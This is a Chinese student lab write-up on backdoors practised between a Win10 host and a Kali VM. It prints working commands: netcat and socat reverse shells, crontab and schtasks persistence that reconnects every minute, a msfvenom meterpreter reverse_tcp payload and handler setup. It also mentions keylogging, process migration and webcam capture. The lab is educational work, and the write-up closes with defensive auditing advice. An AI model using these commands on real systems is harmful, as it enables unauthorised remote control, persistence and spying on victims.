后门原理与实践
后门就是不经过正常认证流程而访问系统的通道。后门的实现就像是有个间谍能够在我们需要访问系统时为我们开门,我们往往希望后门有隐蔽性和自发性(能自己打开提供通道)。
下面通过实际操作介绍几个常用后门工具。
环境:win10、VMware、kali
利用netcat获取kali的shell
netcat最基本的功能是帮助我们建立网络连接(如图1),在此基础上还可以与一些程序绑定以实现远程控制的效果。
图1
先从最简单开始,把系统防火墙和杀软关闭,并且后门手动下载到靶机上。在这样的条件下实现如何利用netcat让windows主机获得kali虚拟机的shell。
通常利用netcat实现后门有以下3个步骤:
1.主机打开监听
-> ncat.exe -l -p 端口号
2.靶机反弹连接win
$: nc 主机ip 监听端口号 -e /bin/sh
3.主机下获得一个linux shell,可运行任何指令,如ls
显然这里windows是主机,kali虚拟机是靶机。从上面步骤可以看出,我们需要端口号和主机ip,端口号可以随便取,在实际中往往取80(网页端口)等端口以躲避防火墙的拦截,主机ip若是在局域网中的独立机器直接用ipconfig里的ip v4地址即可,但对虚拟机来说需要先确认使用的是哪种虚拟网络,ipconfig也会看见多了几个以太网地址(见图2),就是对应不同的VMware虚拟网络的。如果是桥接可以直接使用实际局域网中的地址,其他两种可以在VMware/编辑/虚拟网络编辑中看到ip段(见图3),进而可以确定下来。具体有关VMware几种网络连接方式参见https://www.linuxidc.com/Linux/2016-09/135521.htm。
图2
图3
自己在nat模式下试着ping了三个地址,发现全部能通,但是用ncat时却只有nat对应的以太网地址才可以连通,不是很清楚原因,如果有大神知道的希望能够指点。
确定下ip之后我们按照netcat的用法在命令行输入输入,当我们可以在win10 cmd下输入时说明连接成功了,见图4,已经成功获取了shell。
图4
第一次尝试成功了,我们肯定希望能长久地使用后门,那就设置让他自启。学过linux的肯定能想到利用crontab来实现自启,但是利用常规的crontab -e来编辑会直接打开vi等编辑器来操作,而这对在远程操作的我们来说结果是向图5这样的。
图5
可以理解,因为我们打开的是shell,其他程序不一定向shell那么规矩的返回结果给我们的netcat,所以想办法绕开用文本编辑器来修改crontab。于是想到了重定向>和echo来构造一个cron文件,然后利用“crontab 文件名”来启用我们的设置。
touch guocron echo "* * * * * nc 192.168.201.1 1213 -e /bin/sh" > guocron crontab guocron
结果如图6,可以看到已经成功设置每分钟执行一次连接操作,意味着只要开机后基本就自己连上我们的主机了。
图6
socat获取win10 cmd
socat是一个功能强大的工具,在这里我们可以把它当做强化版的nc。这里利用它实现kali虚拟机获取win10 cmd的控制。
1.连接目标
socat - tcp:192.168.201.1:80
这个命令等同于 nc 192.168.201.1 80。 socat里面,必须有两个流,所以第一个参数-代表标准的输入输出,第二个流连接到192.168.201.1的80端口。
2.反向连接
socat tcp-listen:80 exec:cmd,pty,stderr
这个命名把cmd绑定到端口80,同时把cmd的Stderr复位向到stdout。
有了这两个基本操作就可以做后门了,先win10绑定cmd打开监听,然后在kali虚拟机中连接,结果如图7所示。
图7
windows cmd设置计划任务可以利用schtasks命令设置,schtasks /create /sc minute /mo 1 /tn testtask /tr "cmd /c socat.exe tcp-listen:1213 exec:cmd.exe,pty,stderr"设置每一分钟运行一次socat监听的命令。更多细节详见https://www.cnblogs.com/magic_evan/archive/2011/10/31/2230349.html。
Meterpreter的使用
只说自己通过这次实践对Meterpreter的感受,这工具太强大了,一旦连上后面,有各种各样现场的工具给你来支配靶机,一句代码就可以录你键盘,获取你屏幕。从后门的生成到控制端一条龙。
大致流程是先利用meterpreter生成后门程序,进入msfconsole开启监听,想办法在靶机上运行我们的后门,msfconsole与靶机建立连接,随心所欲的对靶机进行控制。
接下来实践用meterpreter对win10进行渗透。
生成后门exe,复制到win10上
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 LPORT=443 -f exe > meter_backdoor.exe
-p后接payload表示选择payload整合到exe上,LHOST和LPORT是监听的ip和端口号,也就是我们自己的机器,-f,format输出格式,然后重定向到文件。
图8
然后通过netcat传输到win10电脑上,kali上输入
ncat -l 1213 < 20151213_backdoor.exe
win10上输入
nc 192.168.201.136 1213 > 20151213_backdoor.exe
然后win10系统上会收到这个exe文件,等kali监听后再打开。
MSF打开监听进程
shell下输入msfconsole就可以打开msf命令行,加载结束后输入
msf > use exploit/multi/handler msf > set LHOST 本机ip msf > set LPORT 监听端口 msf > show oprions #查看配置
msf > exploit #开始监听
exploit开始后切到win10运行之前发送过去的exe,可以在msfconsole看见有session建立了(如图9),之后就可以开始我们想做的事了。
图9(成功建立会话连接)
图10(进程转移)
用grep过滤ps -a出来的进程,找到explorer这种稳定进程转移过去。
图11(判断是否为虚拟机)
不知为何有时运行这些脚本时会出错,没能找到原因,希望能有大牛指教。
最后上传一张利用webcam_snap
拍取的照片。
图12
体会
第一次做这方面的东西,过程可谓十分艰辛,因为总有意想不到的错误出现。但是当成功建立session的那一刻感觉所有付出都是值得的。
同时也深感网络环境的不安全,若是一台没有杀软,用盗版系统的机子随随便便都会让人给入侵了,不过后门到底是需要有个间谍也就是那个exe来开启,所以不乱下东西,不乱点程序是可以极大降低自己被人入侵的概率。
作为入侵者就是想各种办法骗取别人点击自己的文件了,通过包装把自己的exe放在钓鱼网站上等着人下载运行(多数),或者是利用某些系统漏洞强行渗透(较少)。一旦第一次被入侵,这些程序往往就以计划任务或者服务等方式自启动。
也是利用这点,我们可以在开机启动项和服务里面找一些比较不正常的程序,通过审计观察它是否有后门的嫌疑。